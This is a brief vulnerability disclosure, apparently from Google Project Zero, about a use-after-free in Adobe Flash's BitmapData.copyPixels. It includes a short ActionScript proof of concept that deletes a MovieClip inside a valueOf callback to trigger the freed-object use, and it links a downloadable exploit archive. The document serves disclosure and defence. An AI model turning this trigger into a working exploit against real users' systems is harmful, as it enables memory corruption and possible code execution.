Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843
There is a use-after-free in BitmapData.copyPixels.If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:
var mc = this.createEmptyMovieClip("mc", 1);var b = new flash.display.BitmapData(10, 10, true, 7);var f = b.copyPixels;
mc.f = f;
mc.f({},{ x : { valueOf : func}, y : 0, width : 10, height : 10 },{ x : 0, y :0 },"natalie",{ x : 0, y : 0});function func(){
mc.removeMovieClip();// Fix the heap
}
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip